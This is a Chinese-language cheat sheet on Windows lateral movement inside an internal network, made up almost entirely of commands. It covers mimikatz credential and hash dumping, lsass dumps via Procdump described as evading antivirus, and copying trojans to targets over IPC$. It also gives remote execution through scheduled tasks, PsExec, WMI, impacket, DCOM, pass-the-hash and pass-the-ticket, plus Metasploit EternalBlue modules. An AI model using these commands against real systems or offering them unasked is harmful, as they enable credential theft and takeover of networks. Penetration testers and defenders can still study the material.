内网横向
Windows 密码与 Hash 抓取
mimikatz 直接读取明文密码
privilege::debug
sekurlsa::logonpasswords
通过SAM 和 SYSTEM 文件抓取密码
- 导出SAM 和 SYSTEM文件
reg save hklm\sam sam.hive
reg save hklm\system system.hive
- mimikatz 离线读取文件获得 NTLM
lsadump::sam /sam:sam.hive system:system.hive
- 在目标机器上直接读取本地SAM文件
privilege::debug
token::elevate
lsadump::sam
mimikatz 离线读取 lsass.dmp 文件
- 使用Procdump(微软工具,免杀)工具导出 lsass.dmp
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
- 使用 mimikatz 导出 lsass.dmp 文件中的密码值
sekurlsa::mimidump lsass.dmp
sekurlsa::logonpasswords full
Windows 远程连接
IPC
IPC$(Internet Process Connection) 是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
建立 ipc$ 连接的条件:
- 目标主机开启了 139 和 445 端口
- 目标主机管理员开启了 ipc$ 默认共享
# 通过账户:口令建立IPC
net use \\IP\ipc$ "password" /user:"username"
# 查看当前主机所建立的IPC
net use
建立IPC后,可以使用如下命令进行一些基本操作:
- dir 命令
# 列出目标主机上的C盘
dir \\IP\c$
- copy
# 复制恶意文件到目标C盘
copy C:\Users\douser\Desktop\shell.exe \\IP\c$
计划任务横向
at 命令
用于 Windows server 2008 之前版本
- 建立IPC
- 查看目标当前时间
net time \\IP
- 复制马到目标主机
copy payload.bat \\IP\C$
- 创建计划任务
at \\IP 7:00AM C:\payload.bat
# 执行完毕返回任务ID
- 上线之后,删除计划任务
at \\IP taskid /delete
schtasks 命令
schtasks 命令比 at 命令更为灵活、自由,用以代替 at。
- 建立IPC
- 复制马到目标主机
- 创建名为test的计划任务
schtasks /create /s IP /tn test /sc minute /tr c:\payload.bat /ru system /f
# minute表明每分钟执行一次
# 创建失败,比如拒绝访问错误,就是权限不够,可以使用/u /p 参数附带高权限用户
- 等计划任务运行,上线
- 也可以让其直接运行
schtasks /run /s ip /i /tn test
# 权限不够,附加用户和密码
- 上线后,删除计划任务
schtasks /delete /s ip /tn "test" /f
在使用schtasks命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt
PTH 攻击
NTLM Hash 传递
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.hacker /ntlm:[NTLM]"
AES-256 密钥进行哈希传递
- 使用 mimikatz 抓取 AES-256 密钥
mimikatz "privilege::debug" "sekurlsa::ekeys"
- pth攻击(目标机器安装 KB2871997)
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:pentest.hacker /aes256:[aes256]"
票据传递
- 基于ms14-068生成TGT
- 使用mimikatz将票据注入内存
kerberos::purge
kerberos::list
kerberos::ptt C:\xxx.kirbi
- 访问域内其他主机
psexec
psexec 是 windows 下非常好的一款远程命令行工具。属于微软官方,所以一般是免杀的。
原理
- 通过 ipc$ 连接,释放二进制文件 psexecsvc.exe 到目标
- 通过服务管理 SCManager 远程创建一个 psexec 服务,并启动服务
- 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
- 运行结束后删除服务
条件
- 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
- 对方未开启防火墙
- 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问
- 如果是域环境,连接普通域主机可以用普通域用户,连接域控只能用域管理员账户
使用
- 建立IPC
- 获取 System 权限的 交互式shell
PsExec.exe -accepteula \\IP -u 用户名 -p 密码 -s cmd.exe
# 直接执行命令
PsExec.exe -accepteula \\IP -s cmd.exe /c ipconfig
# 缺少-s将返回Administrator 权限的 shell
MSF
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(powershell 版本)
永恒之蓝
针对 smb v1。
auxiliary/scanner/smb/smb_ms17_010
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
WMI
通过 /node 选项使用端口 135 上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。
条件:
- 目标机开启了 135,445 端口(135 管理口,445 传回显)
基本使用
wmic /node:IP /user:administrator /password:passed process call create "cmd.exe /c ipconfig > ip.txt"
- 建立IPC,使用type命令读取结果
type \\IP\C$\ip.txt
impacket 包中的 wmiexec
python wmiexec.py administrator:password@IP
# 如果没有密码,也可以配合哈希传递
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP
smbexec
impacket 版
python3 smbexec.py teamssix.com/administrator:1qaz@WSX@192.168.7.7
Linux 跨平台 Windows 远程命令执行
https://github.com/brav0hax/smbexec
DCOM
DCOM (分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,DCOM 是 COM(组件对象模型)的扩展。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是 Internet 上,利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。
利用条件:
- 需要关闭目标系统的防火墙,如果目标主机 DC 没有关闭防火想的话会报错
- 在远程主机上执行命令时,必须使用具有本地管理员权限的账号
本地执行任意命令
- 获取 DCOM 程序列表
# windows server 2012 及以上
Get-CimInstance Win32_DCOMApplicatioon
# Windows 7、Windows Server 2008
Get-WmicObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
- 执行任意命令
# 本地管理员powershell下执行
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")).Document.ActiveView.ExecuteShellCommand("cmd.exe","0","/c calc.exe","Minimzed")
远程主机上执行命令
# 调用 MMC20_Application 远程执行命令
$com=[Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","IP"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe","0","/c calc.exe","Minimzed")
# 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
$com=[Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"IP")
$obj=[System.Activator]::CreateInstance($com)
$item=$obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32","$null",0)